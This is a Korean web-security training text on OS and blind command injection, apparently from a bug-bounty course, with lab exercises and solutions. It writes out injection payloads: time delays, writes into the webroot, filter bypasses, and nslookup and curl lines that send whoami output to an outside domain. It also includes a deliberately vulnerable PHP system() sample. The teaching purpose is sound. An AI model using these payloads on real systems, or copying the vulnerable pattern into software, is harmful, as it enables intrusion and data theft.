걸쳐 테스트를 해보고 의도한 시간만큼 시간 지연이 발생하는지 확인해봐야 합니다. 웹 애플리케이션의 HTTP 응답이 테스터가 의도한 시간만큼 일정하고 반복적으로 지연된다면 명령 인젝션 공격에 잠재적으로 취약하다고 볼 수 있습니다. SLEEP 명령 이용만일 운영체제가 리눅스/유닉스 계열이라면 다음과 같이 셸 메타문자와 조합된 SLEEP 명령을 이용할 수 있습니다. & sleep 10 &위의 명령이 성공적으로 실행된다면 10초간 HTTP 응답 지연을 발생 시킵니다. 앰퍼샌드(&) 문자 대신 다른 셸 메타문자를 사용해도 상관없습니다.루프백(Loopback) PING 이용루프백 PING 테스트를 위해 다음과 같이 응답 시간의 지연을 유발하도록 구성된 명령을 사용할 수 있습니다. 물론 공격자나 테스터의 재량에 따라 다른 형태로 구성할 수도 있습니다. 다만 PING 명령의 옵션은 운영체제 종류에 따라 다소 차이가 있으니 웹 서버의 운영체제에 유효한 옵션을 사용하셔야 합니다. 리눅스/유닉스의 경우: -c 옵션을 통해 요청 갯수를 2개로 지정하고 요청 간의 시간 간격을 10초로 하면 약 10초 정도 응답 시간이 지연됩니다.& ping -c 2 -i 10 127.0.0.1 &윈도우의 경우: 요청 간의 시간 간격은 약 1초이므로 -n 옵션을 통해 요청 갯수를 10개로 지정하면 약 10초 정도 응답 시간이 지연됩니다. & ping -n 10 127.0.0.1 &공용: 각 운영체제에 사용되는 명령을 조합해 운영체제에 상관없이 약 10초의 시간을 지연시킬 수 있습니다.& ping -c 2 -i 10 127.0.0.1; x || ping -n 10 127.0.0.1 &위 명령을 사용한 후 의도한 시간만큼 응답 지연이 발생하는지 확인하기 위해서는 Burp Suite 또는 ZAP 프록시 도구를 활용할 수 있습니다. 위의 명령이 주입된 요청을 취약한 웹 애플리케이션에 보내고 프록시 도구에서 표시되는 응답 시간을 확인하시면 됩니다. 또는 웹 브라우저의 개발자 도구에서도 확인할 수 있는데 이는 개발자 도구의 네트워크 탭에서 브라우저 통신 기록을 확인하시면 됩니다. 아래는 10초간 응답 지연을 유발하는 PING 명령을 전송한 후 개발자 도구의 일부를 스크린샷한 그림입니다. 그림에서 Waiting(TTFB) 항목의 값을 보면 요청 후 응답의 첫 바이트를 받을 때까지 시간이 약 10초 소요되었고 의도한 시간만큼 지연되었음을 알 수 있습니다. 웹 브라우저 개발자 도구를 통해 응답 시간을 확인할 수 있다.출력 리다이렉팅Blind 환경에서 명령 실행 여부를 확인할 수 있는 다른 방법으로는 출력 리다이렉팅이 있습니다. 리눅스, 아파치 환경에서 구동 중인 웹 애플리케이션을 예로 들면 아래와 같은 명령을 주입하실 수 있습니다.& echo 'commandi' > /var/www/html/myoutput.txt &위의 명령이 정상적으로 실행된다면 출력 리다이렉션 메타문자인 > 를 기준으로 왼쪽의 명령인 echo 'commandi' 의 실행 결과가 웹루트 디렉토리(/var/www/html/)에 myoutput.txt 라는 파일로 생성될 것입니다. https://www.example.com/myoutput.txt 를 방문하여 commandi 라는 문자열이 응답으로 출력된다면 명령 인젝션 공격에 취약하다고 볼 수 있습니다. 대역 외(Out-Of-Band) 채널대역 외 채널을 통해 명령 실행 여부를 확인할 수도 있습니다. nslookup 이용공격자 또는 테스터가 소유한 도메인에 대한 DNS 조회가 발생하도록 nslookup 명령을 사용하는 방법입니다. nslookup은 특정 도메인의 IP 주소, MX(메일 레코드), CNAME 등 네임서버와 관련된 정보를 조회하기 위한 명령으로 기본적인 사용법은 아래와 같습니다. (조회 대상 도메인이 domain.com인 경우)nslookup domain.com만일 공격자 또는 테스터가 소유한 도메인을 mydomain.com 이라고 했을 때 Blind 명령 인젝션을 테스트하기 위해서 위의 nslookup 명령에서 사용된 domain.com 대신 `실행할 명령`.mydomain.com을 입력합니다. 실행할 명령은 백틱(`)으로 감싸주었음에 유의하시기 바랍니다. 또한 nslookup 명령 좌우로 앰퍼샌드(&) 메타문자가 있는데 앰퍼샌드(&) 메타문자는 테스트 환경에 맞게 적절히 다른 메타문자로 변경하셔도 상관없습니다.& nslookup `실행할 명령`.mydomain.com &실행할 명령으로 commandi 라는 문자열을 출력하는 명령인 echo 'commandi'를 사용한다고 가정해봅시다. 주입될 명령은 아래와 같은 형태가 될 것입니다.& nslookup `echo 'commandi'`.mydomain.com &위의 명령이 성공적으로 실행된다면 결국 mydomain.com으로 commandi.mydomain.com에 대한 DNS 조회가 발생하게 됩니다. 다시 말해 만일 아래와 같이 백틱(`) 사이에 whoami 명령(실행 결과는 www-data라고 가정함)을 삽입한다면& nslookup `whoami`.mydomain.com & www-data.mydomain.com 에 대한 DNS 조회가 발생하게 됩니다. 결국 테스터는 자신의 도메인인 mydomain.com에 발생한 DNS 조회 기록을 통해 명령의 실행 결과를 확인할 수 있게 됩니다. Burp Suite Pro와 ZAP 프록시에는 이 과정을 쉽게 할 수 있도록 도와주는 애드온이 있습니다. Burp Suite Pro 사용자는 Burp Collaborator 를 사용할 수 있으며 Burp Suite Pro 라이센스가 없다면 오픈소스 도구인 ZAP OAST 애드온을 사용할 수 있습니다. 이 훈련에서는 누구나 사용할 수 있는 ZAP OAST 애드온을 이용한 테스트 방법에 대해서 간단히 살펴보도록 하겠습니다.우선 자신의 ZAP 프록시에 OAST 애드온이 설치되어있지 않다면 먼저 설치를 하시기 바랍니다. 설치가 끝났다면 ZAP 프록시의 Options > OAST 로 이동하여 odiss.eu에서 서버 주소를 발급받습니다. 아래 화면에 보이는 Register 버튼을 클릭하면 Payload와 Canary를 받을 수 있습니다. 정상적으로 발급되면 아래의 Active Servers 목록에 Payload와 Canary가 추가되고 Payload에 기재된 주소가 바로 명령 인젝션 공격에 활용될 서버의 주소(공격자의 웹주소)입니다. 참고로 Polling Frequency 항목이 기본 60초로 설정되어 있음을 볼 수 있습니다. 이것은 60초 주기마다 Server URI와 상호작용하는 기록을 가져온다는 의미입니다. ZAP OAST 설정 화면에서 Payload와 Canary를 받는다이제 취약한 웹 애플리케이션의 진입점에서 다음과 같이 nslookup 명령을 주입하고 요청을 전송합니다. & nslookup `whoami`.nexf4gnihbw5refysyibsbfeea.odiss.eu &ZAP 프록시로 돌아와 메인화면의 OAST 탭(없을 경우 + 를 클릭해 직접 추가해야 함)에서 자동(설정된 60초 주기가 될 때까지 대기 필요) 또는 수동(Polling Now 버튼을 통해 즉시 가져옴)으로 DNS 조회 기록을 확인할 수 있습니다. 아래 그림에서 보시다시피 `whoami` 명령이 실행된 www-data.nexf4gnihbw5refysyibsbfeea.odiss.eu에 대한 DNS 조회가 발생하였습니다.ZAP OAST 탭에서 명령(whoami)의 실행 결과가 포함된 DNS 조회 기록을 확인할 수 있다.curl 이용취약한 웹 애플리케이션을 구동 중인 서버에서 curl 명령을 사용할 수 있다면 다음과 같은 curl 명령을 통해 명령 주입 취약점이 존재하는지 식별할 수도 있습니다. & curl mydomain.com/?q=`실행할 명령` &위 명령 구문상의 실행할 명령 부분을 whoami로 변경하고 취약한 웹 애플리케이션으로 요청을 전송합니다.& curl mydomain.com/?q=`whoami` &마찬가지로 명령이 정상적으로 실행되는지 확인하기 위해 ZAP OAST를 사용해보도록 하겠습니다. 위의 nslookup 명령을 이용하면서 받았던 ZAP OAST의 서버 주소를 그대로 이용하면 주입할 명령은 최종적으로 다음과 같습니다.& curl nexf4gnihbw5refysyibsbfeea.odiss.eu/?q=`whoami` &취약한 웹 애플리케이션으로 요청을 전송하고 이 명령이 성공적으로 실행되면 ZAP OAST에서 발급받은 서버로 HTTP GET 요청이 발생하고 요청된 URL주소를 통해 `whoami` 명령의 실행 결과인 www-data를 확인할 수 있습니다.ZAP OAST 탭에서 명령(whoami)의 실행 결과가 포함된 GET 요청을 확인할 수 있다.실습 문제아래 내용을 읽기 전에 본 훈련의 가상 실습 환경을 생성하여 먼저 실습해보실 것을 권장드립니다. 제시된 풀이 방법은 수많은 해결법 중 하나일 뿐이며 다양한 방법으로 해결이 가능할 수 있습니다.본 훈련의 실습에서는 사용자로부터 입력받은 IP주소나 도메인명을 대상으로 PING 명령을 수행하여 해당 호스트가 살아있는지 확인하는 PHP 기반의 Simple Host Alive Checker 라는 웹 페이지가 제공됩니다. 위에서 배운 Blind 명령 인젝션 기법들을 사용하여 명령 인젝션에 취약한지 확인해보세요.Exercise 1이 문제는 사용자에 의해 입력된 호스트로 PING 요청을 보낸 후 결과에 따라 개발자가 미리 지정한 성공 또는 실패 메세지만을 출력합니다. 풀이 보기 1. PING 성공 또는 실패 여부에 따른 서버의 응답을 살펴봅니다. 요청 URL은 http://본인의 가상실습환경 주소/commandi_blind_ex1.php?target={입력값} 이며 몇 번의 요청 후에는 PING 성공 시에는 Ping request was successful. 메세지가 출력되고, PING 실패 시에는 Ping request failed 라는 메세지만 출력됨을 알아낼 수 있습니다. 즉, 명령의 실행 결과를 직접적으로 확인할 수 없습니다. 2. 요청 URL상의 'target' GET 파라미터의 값을 %26+sleep+10+%26 로 변경하여 다시 요청을 전송합니다. 루프백 PING 테스트를 하려면 %26+ping+-c+2+-i+10+127.0.0.1%3B+x+%7C%7C+ping+-n+10+127.0.0.1+%26 를 입력한 후 요청하시면 됩니다. 이 페이로드는 URL 인코딩된 페이로드로 GET 파라미터의 값을 직접 조작하려면 URL 인코딩되어야 합니다.3. 웹 브라우저의 개발자 도구 또는 프록시 도구 등을 사용하여 서버의 응답이 약 10초간 지연되는지 확인하세요. Exercise 2이 문제는 시간 지연 기술을 방어하기 위해 개발자가 어떤 조치를 취했습니다. 시간 지연 기술을 사용하기에는 다소 제약이 있는 것 같습니다.풀이 보기 1. PING 성공 또는 실패 여부에 따른 서버의 응답을 살펴봅니다. 요청 URL은 http://본인의 가상실습환경 주소/commandi_blind_ex2.php?target={입력값} 이며 응답은 Exercise 1 문제와 동일하나 다른 점 한 가지는 성공 또는 실패시 이미지가 추가로 표시됨을 알 수 있습니다.2. 응답에 표시되는 이미지 파일들이 저장된 경로를 확인해봅니다. 웹루트 하위에 위치한 common_img 디렉토리에 안에 저장된 파일임을 확인하세요. common_img 디렉토리는 웹 서버를 구동하고 있는 계정에 대해 쓰기 권한이 있을 수 있습니다.3. 요청 URL상의 'target' GET 파라미터의 값을 %26+echo+%27commandi%27+>+.%2Fcommon_img%2Fresult.txt+%26 로 변경하여 요청해봅니다.3. http://본인의 가상실습환경 주소/common_img/result.txt 를 방문하고 commandi 문자열이 화면에 표시되는지 확인하세요.Exercise 3이 문제는 시간 지연 기술 및 출력 리다이렉팅 기술에 대한 방어를 위해 개발자가 조치를 취한 것 같습니다. 풀이 보기 1. PING 성공 또는 실패 여부에 따른 서버의 응답을 살펴봅니다. 요청 URL은 http://본인의 가상실습환경 주소/commandi_blind_ex3.php?target={입력값} 이며 응답은 Exercise 1 문제와 동일합니다. 2. ZAP 프록시를 실행하고 Options > OAST에서 Register 버튼을 눌러 OOB 공격에 사용할 서버를 받습니다.3. 요청 URL상의 'target' GET 파라미터의 값을 %26+nslookup+%60whoami%60.본인의 ZAP OAST 서버 주소+%26 로 변경하여 요청해봅니다.4. ZAP 프록시의 메인화면의 OAST 탭(없다면 추가해야 함)에서 Polling Now 버튼을 클릭한 후 www-data.본인의 ZAP OAST 서버 주소 에 대한 요청이 있는지 확인하세요.참고 문헌https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/blind-command-injection/https://www.rangeforce.com/blog/how-to-prevent-blind-command-injection
읽어보기
OS 명령 인젝션
이 훈련에서는 OS 명령 인젝션에 관한 기초적인 지식과 공격 원리를 배우고 명령 인젝션을 테스트하는 방법을 학습합니다. 또한 명령 인젝션에 취약한 실습 환경이 제공되므로 배운 기술을 직접 시험해볼 수 있으며 일부 실습은 이 훈련에서 다루지 않은 우회 기법을 사용해야 하므로 스스로 우회 기법을 찾아봐야 합니다.OS 명령 인젝션이란?OS 명령 인젝션(OS Command Injection 또는 Shell Injection)은 웹 애플리케이션이 구동 중인 서버의 운영체제상에서 임의의 명령을 실행하도록 하는 웹 취약점입니다. 웹 애플리케이션은 HTML 폼, HTTP 헤더, 쿠키, GET 파라미터 등을 통해 사용자로부터 데이터를 입력받아 시스템 셸(Shell)에 제공할 수 있습니다. 이 때 사용자가 제공하는 입력값에 대한 유효성 검증이 구현되어있지 않거나 안전하지 않은 방식으로 검증을 한다면 OS 명령 인젝션 공격에 취약할 수 있습니다. OS 명령 인젝션을 통해 실행되는 명령은 루트나 관리자 권한의 계정이 아닌 웹 애플리케이션을 구동하는 계정의 권한으로 명령이 실행되므로 일반적으로 시스템 전체를 손상시키지 못하지만 공격자가 권한 상승이나 다른 취약점과 연계할 수 있다면 더 많은 권한을 획득할 수 있으며 취약한 웹 애플리케이션을 장악하거나 모든 데이터를 손상시킬 수 있습니다. OS 명령 인젝션은 어떻게 동작할까?웹 애플리케이션상에 구현된 일부 기능은 운영체제 및 파일시스템과 통신하기 위해 운영체제 명령을 실행하기도 합니다. 이와 같은 기능 구현을 위해 PHP, JAVA, PYTHON 등 대부분의 개발 언어들은 셸과 연동되는 내장함수를 제공하고 있습니다. 이러한 내장함수는 일반적으로 system(), exec()와 같은 함수이며, 셸 함수라 부르기도 합니다. 웹 애플리케이션은 바로 이러한 셸 함수를 활용해 시스템 셸로 운영체제 명령을 전달하고 실행 결과를 얻을 수 있게 됩니다. 하지만 단지 셸 함수를 사용한다는 이유만으로 OS 명령 인젝션에 취약한 것은 아닙니다. OS 명령 인젝션은 셸 함수를 통해 시스템 셸로 전달되는 명령에 사용자로부터 전달받은 입력값이 포함될 때 발생합니다. OS 명령 인젝션이 정상적으로 수행되기 위해서는 다음과 같은 조건이 충족되어야 합니다.시스템 셸로 전달되는 명령에 사용자로부터 입력받은 데이터를 포함해야 합니다.사용자 데이터는 이스케이프 또는 삭제 처리없이 정상적인 셸 명령어로 인식되어야 합니다.웹 애플리케이션을 구동 중인 계정에 시스템 명령을 실행할 수 있는 권한이 있어야 합니다.리눅스 환경에서 호스팅되고 있는 다음의 PHP 소스코드(ex.php)를 살펴봅시다.<?phpecho "<p>filename 매개변수(GET)를 이용하여 조회할 파일의 이름을 입력하세요</p>";$file = $_GET['filename'];system("cat $file");?>위의 소스코드는 'filename'이라는 GET 파라미터의 값을 cat 명령의 인자로 사용하고 system() 함수를 통해 명령을 실행시키고 있습니다. 'filename' 파라미터에 정상적인 데이터가 입력된다면 이 소스코드는 개발자가 의도한대로 지정된 파일의 내용을 보여주는 동작을 수행할 것입니다. 위 소스코드를 통해 조회할 수 있는 아래와 같은 hello.html 이라는 파일이 서버상에 존재한다고 가정합시다. <h2>Hello, Bug bounty club!</h2>이 파일을 웹 브라우저에서 조회하면 다음과 같이 응답이 표시됩니다.'filename' 파라미터로 전달된 hello.html 파일의 내용이 웹 브라우저에 표시됨사용자가 입력한 hello.html이라는 데이터는 웹 애플리케이션 내부에서 아래의 과정을 통해 시스템 명령에 포함되게 됩니다. 사용자 데이터(hello.html)를 사용해 셸 명령을 구성하고 cat hello.html 명령을 실행함웹 애플리케이션에서 OS 명령이 어떤 방식으로 실행되는지 간단한 PHP 소스코드를 통해 살펴 보았습니다. 이제 이 소스코드를 통해 실험을 해 볼 수 있습니다. 'filename' GET 파라미터는 사용자에 의해 직접 조작이 가능합니다. 즉, 정상적인 파일 이름이 아닌 어떤 다른 데이터로 얼마든지 변경할 수 있다는 의미입니다. 또한 소스코드를 보시면 아시겠지만 어떠한 보안 조치도 구현되어있지 않기 때문에 OS 명령 인젝션에 취약한 코드입니다. 그럼 ex.php 웹 페이지에서 OS 명령 인젝션을 해봅시다. OS 명령 인젝션을 수행하기 위해 사용되는 특수문자들이 있습니다. 먼저 어떤 특수문자들이 사용되는지 알아보죠. 아래의 표에 있는 특수문자들은 셸 인터프리터에서 어떤 특정한 기능을 수행하는 메타문자들이며 웹 애플리케이션에서 이러한 문자들에 대해 안전한 필터링이 구현되어있지 않다면 공격자는 메타문자를 이용해 기존의 명령 구문에 임의의 명령을 주입하고 실행시킬 수 있게 됩니다.메타문자기 능사용 예cmd1 | cmd2왼쪽 명령의 결과를 오른쪽 명령의 입력으로 전달합니다.$ whoami | grep 'b'bbccmd1 && cmd2왼쪽 명령을 성공적으로 실행하면 오른쪽 명령을 실행합니다. $ whoami && pwdbbc/home/bbccmd1 || cmd2왼쪽 명령의 실행에 실패하면 오른쪽 명령을 실행합니다.$ whoareyou || pwdwhoareyou: 명령을 찾을 수 없습니다./home/bbccmd1 ; cmd2한 줄에 여러 명령을 사용할 때 각각의 명령을 구분하기 위해 사용됩니다. (리눅스/유닉스 전용)$ whoami; pwdbbc/home/bbc`cmd`백틱(`) 사이의 명령을 실행한 결과를 반환합니다. (리눅스/유닉스 전용)$ echo `whoami`bbc$(cmd)$() 안의 명령을 실행한 결과를 반환합니다. (리눅스/유닉스 전용)$ echo $(whoami)bbccmd > /your_file왼쪽 명령의 결과를 오른쪽 파일에 기록합니다. (리눅스/유닉스 전용)$ whoami > /path/to/file/whoami.txt/your_file < cmd오른쪽 명령의 결과를 왼쪽 파일에 기록합니다. (리눅스/유닉스 전용)$ /path/to/file/whoami.txt < whoamiOS 명령 인젝션에 사용되는 메타문자들그럼 먼저 살펴보았던 '/ex.php?filename=hello.html' 뒤에 세미콜론(;)과 id 명령어를 추가하여 요청했다고 생각해봅시다. 요청 URL은 다음과 같을 것입니다.http://www.example.com/ex.php?filename=hello.html;id방금 전에 보았던 메타문자표에서 세미콜론(;)은 한 줄에 포함된 여러 개의 명령어를 구분한다고 배웠습니다. 위 요청이 있을 때 ex.php 소스코드의 처리 과정을 다시 살펴보면 보시다시피 마지막 단계에서 세미콜론(;)에 의해 명령어가 두 개로 구분되고 각 명령어들이 순차대로 실행되게 됩니다.'filename' 파라미터에 추가된 ;id에 의해 명령이 분리되고 id 명령이 추가됨요청에 대한 응답은 당연히 아래의 화면과 같이 id 명령 실행결과가 추가되어 나타나겠죠. OS 명령 인젝션으로 인해 id 명령도 함께 실행됨세미콜론(;) 외에 앞서 소개된 다른 메타문자들도 각 기능에 맞게 구성한다면 임의의 명령을 주입할 수 있습니다. 만일 악의적인 공격자가 id 명령처럼 시스템에 직접적인 손상을 가하지 않는 무해한 명령어 대신 rm -rf /와 같은 명령을 주입한다면 웹 애플리케이션은 상당한 손상을 받게 됩니다. 또한 wget을 통해 웹셸과 같은 다른 악성 파일을 서버에 다운로드하여 후속공격을 하거나 조직 내 다른 시스템으로 공격을 확장할 수도 있습니다. OS 명령 인젝션에는 어떤 유형들이 있을까?OS 명령 인젝션은 직접 명령 인젝션, 간접 명령 인젝션, 블라인드 명령 인젝션으로 구분될 수 있습니다.직접 명령 인젝션 (Direct Command Injection)앞서 OS 명령 인젝션의 동작 방식을 설명드릴 때 등장했던 예제(ex.php)처럼 사용자가 입력한 데이터가 OS 명령의 인자로 직접 포함되는 경우입니다. 간접 명령 인젝션 (Indirect Command Injection)파일이나 환경변수를 통해 웹 애플리케이션의 시스템 셸로 OS 명령이 전달되는 경우입니다. 보통 윈도우 시스템에서 나타나며 Forfiles, pcalua.exe 등과 같이 CMD를 사용하지 않고 명령을 호출할 수 있도록 지원하는 유틸리티를 통해 가능합니다. 블라인드 명령 인젝션 (Blind Command Injection)직접 명령 인젝션과 같이 사용자의 입력 데이터가 OS 명령에 포함되어 시스템 셸로 전달되지만 HTTP 응답 메시지에 명령의 실행 결과가 표시되지 않는 경우입니다. 일반적인 명령 인젝션처럼 주입된 명령이 즉각 HTTP 응답 메시지에 출력되면 취약점을 식별하기 쉽겠지만 실제로는 그렇지 않은 경우가 상당히 많습니다. 만일 이런 경우에 직접 명령 인젝션 기술만을 고집하며 응답에 명령 실행 결과가 출력되는지만 확인한다면 명령 인젝션 취약점을 눈 앞에 두고도 놓칠 수가 있습니다. 따라서 '시간 지연', '출력 리다이렉팅' 또는 '대역외(Out-Of-Band) 기술'과 같은 블라인드 명령 인젝션 기술이 주로 사용됩니다.블라인드 명령 인젝션에 대해서는 아래의 훈련을 더 읽어보시길 바랍니다. 더 읽어보세요.Blind OS 명령 인젝션OS 명령 인젝션을 예방 및 완화하려면OS 명령 인젝션을 예방하기 위해 가장 좋은 방법은 웹 애플리케이션에서 system(), exec()와 같은 셸 함수를 사용하여 명령을 실행하지 않는 것입니다. 하지만 웹 애플리케이션을 통해 OS 명령을 실행해야 할 부득이한 이유가 있다면 가급적 사용자가 임의로 조작할 수 있는 입력값이 명령에 직접 포함되지 않도록 해야 합니다. 만일 사용자 입력을 OS 명령에 포함시켜야 하는 경우에는 사용자 입력에 대해 엄격한 검증을 수행해야 합니다. 이를 위해 가장 좋은 방식은 화이트리스트 방식으로 허용되는 입력값 목록을 만들고 허용되지 않는 입력값에 대한 필터링을 수행해야 합니다. 화이트리스트 방식의 필터링이 더 안전하지만 블랙리스트 방식을 사용해야 한다면 서버의 운영체제 종류에 따라 아래의 특수문자들에 대해 이스케이프 처리하거나 요청을 차단해야 합니다.윈도우의 경우: ( ) < > & * ' | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` 문자들 앞에 '^'를 추가하여 이스케이프하거나 요청을 차단합니다.리눅스 또는 유닉스의 경우: { } ( ) < > & * ' | = ? ; [ ] $ – # ~ ! . ” % / \ : + , ` 문자들 앞에 '\'를 추가하여 이스케이프하거나 요청을 차단합니다.OS 명령 인젝션은 어떤 영향을 줄까?OS 명령 인젝션 공격의 영향은 취약한 웹 애플리케이션이 구동되는 계정의 권한에 따라 사소한 것부터 심각한 수준에 이르기까지 매우 다양할 수 있습니다. 데이터베이스에 접근해 고객의 개인 정보 등 민감한 데이터를 훔칠 수 있으며 데이터를 임의로 조작하거나 삭제하는 등 데이터베이스를 손상시킬 수 있습니다. 또한 서버 또는 시스템을 제어하여 웹 애플리케이션의 내장된 모든 기능을 악용할 수 있습니다. OS 명령 인젝션 테스트 방법Step 1. 셸 명령을 호출하는 기능 식별웹 애플리케이션의 모든 기능을 사용하면서 셸 명령을 호출하는 기능을 찾습니다. 대표적인 예로 GET 파라미터값으로 파일 이름이 사용되는 진입점(엔드포인트) 등이 있습니다. 아래는 명령 인젝션 취약점이 존재할 수 있는 일반적인 파라미터 이름입니다.cmdexeccommandexecutepingqueryjumpcoderegdofuncargoptionloadprocessstepreadfunctionreqfeatureexemodulepayloadrunprintGET 파라미터가 아닌 폼 데이터, 쿠키나 HTTP 헤더를 통해서도 셸 명령으로 데이터가 전달될 수 있으므로 사용자 데이터가 전달될 수 있는 모든 입력 가능한 소스를 고려해야 합니다. Step 2. 운영체제(OS) 식별OS 명령 인젝션에 사용되는 페이로드는 웹 애플리케이션이 구동되고 있는 운영체제의 커맨드라인 명령에서 유효해야만 합니다. 리눅스 계열과 윈도우 계열의 커맨드라인 명령은 유사하면서도 일부 차이가 있으므로 서버의 운영체제를 식별하는 것이 성공적인 OS 명령 인젝션 페이로드를 구성하는데 도움이 됩니다. 서버의 운영체제를 식별하는 방법은 매우 다양하게 존재하며, 관련된 자세한 내용은 OWASP WSTG의 Fingerprint Web Server 문서에 잘 정리되어 있으니 꼭 정독해보시기 바랍니다. Step 3. 테스트 문자열을 통한 응답 관찰셸 명령을 호출하는 것으로 판단되는 진입점을 찾았다면 OS 명령 인젝션에 사용되는 셸 메타문자들과 기본 명령어들이 어떻게 처리되는지 확인해야 합니다. 아래와 같은 간단한 테스트 문자열을 사용할 수 있습니다.abc;echo%20commandi;만약 위 요청에 대한 응답으로 commandi 라는 문자열이 HTTP 응답에 출력된다면 OS 명령 인젝션에 취약하다고 판단할 수 있습니다. 하지만 대부분의 웹 애플리케이션은 기대와는 달리 매우 다양한 응답을 보여줄 것입니다. 웹 애플리케이션이 사용자 입력 유효성을 검사하는 방법과 오류를 처리하는 방법에 따라 테스터에게 유용한 응답을 반환하거나 어떠한 응답도 반환하지 않을 수 있습니다. 개발자에 의해 의도된 명백한 입력 유효성 검사 오류 메시지가 아닌 이상 잠재적으로 취약하다고 봐야 합니다. 계속해서 테스트 문자열을 수정하고 웹 애플리케이션의 응답을 관찰해가며 테스트해야 합니다.fuzzdb에서 테스트 문자열로 사용할 수 있는 다양한 템플릿 모음을 확인할 수 있습니다.Step 4. 개념증명(PoC)을 위한 실제 명령 사용실제 공격에 사용될 수 있는 명령을 사용해 OS 명령 인젝션이 동작되는지 확인합니다. 유의하실 점은 rm, del, rmdir 등 시스템에 손상을 줄 수 있는 명령은 절대로 사용하시면 안됩니다. 사용하실 수 있는 명령은 whoami 또는 id와 같은 시스템에 무해한 명령입니다. abc;whoami;whoami 명령의 결과가 응답에 반환된다면 OS 명령 인젝션에 취약함을 나타냅니다.실습 문제 풀이아래 내용을 읽기 전에 본 훈련의 가상 실습 환경을 생성하여 먼저 실습해보실 것을 권장드립니다. 또한 제시된 풀이는 문제를 해결하는 방법 중 하나일 뿐입니다. 제시된 풀이 방법 외에도 다른 방법으로 문제를 해결할 수 있으니 여러분의 창의력을 맘껏 발휘해보세요. Exercise 1이 문제는 사용자가 항목을 선택하면 선택된 항목에 해당되는 파일명을 이용해 셸 명령을 실행합니다. 안일한 개발자는 OS 명령 인젝션 공격에 대해 어떠한 보호조치도 구현해놓지 않았습니다. whoami 명령을 실행시켜보세요.풀이 보기 1. 제공된 항목 중 임의의 항목을 선택하고 "Submit" 버튼을 클릭해 요청을 보냅니다.2. 'filename' GET 파라미터의 값에 HTML 파일이 지정되고 파일 내용이 웹 브라우저에 출력되는 것을 확인하세요.3. 'filename' 파라미터의 값을 1|whoami 로 수정하고 다시 요청합니다.4. 웹 브라우저에 www-data라는 사용자명이 출력된다면 성공입니다.Exercise 2이 문제는 Exercise 1과 동일합니다만 다른 점이 있다면 개발자가 OS 명령 인젝션 공격에 주로 사용되는 명령어를 제거하여 공격을 방어했다는 점입니다. 방어를 우회하고 whoami 명령을 성공적으로 실행시켜보세요.풀이 보기 1. 제공된 항목 중 임의의 항목을 선택하고 "Submit" 버튼을 클릭해 요청을 보냅니다.2. 'filename' GET 파라미터의 값에 HTML 파일이 지정되고 파일 내용이 웹 브라우저에 출력되는 것을 확인하세요.3. 'filename' 파라미터의 값을 1|who$@ami 로 수정하고 다시 요청합니다.4. 웹 브라우저에 www-data라는 사용자명이 출력된다면 성공입니다.Exercise 3이 문제를 해결하려면 웹 루트 디렉토리 안에 숨겨진 파일을 찾아 해당 파일의 내용을 확인해보세요. 당신은 숨겨진 파일을 찾기 위해 공백(Space) 문자를 사용해야 할 것입니다. 하지만 사용자 입력에 포함된 공백 문자와 공격에 주로 사용되는 명령어들(Exercise 2와 동일한 명령어들임)은 보안 필터에 의해 제거됩니다. 숨겨진 파일을 찾아 파일 내용을 웹 브라우저에 출력하세요.풀이 보기 1. 제공된 항목 중 임의의 항목을 선택하고 "Submit" 버튼을 클릭해 요청을 보냅니다.2. 'filename' GET 파라미터의 값에 HTML 파일이 지정되고 파일 내용이 웹 브라우저에 출력되는 것을 확인하세요.3. 'filename' 파라미터의 값을 l$@s${IFS}-al 로 수정하고 다시 요청합니다. 출력된 디렉토리,파일 목록에서 숨겨진 파일인 .hidden_file.txt를 찾아냅니다.4. 'filename' 파라미터의 값을 .hi$@dden_file.txt로 수정하고 요청을 보냅니다. 파일이름에는 블랙리스트 대상인 id 문자열이 있기 때문에 $@를 이용해 우회해야 합니다.5. 웹 브라우저에 "Congratulation! You solved this exercise. :-)" 가 출력되면 성공입니다.참고 문헌https://www.imperva.com/learn/application-security/command-injection/https://owasp.org/www-community/attacks/Command_Injectionhttps://www.veracode.com/security/os-command-injection-primer-how-they-work-and-how-prevent-attackshttps://portswigger.net/web-security/os-command-injectionhttps://www.netsparker.com/blog/web-security/command-injection-vulnerability/https://cobalt.io/blog/a-pentesters-guide-to-command-injection
읽어보기
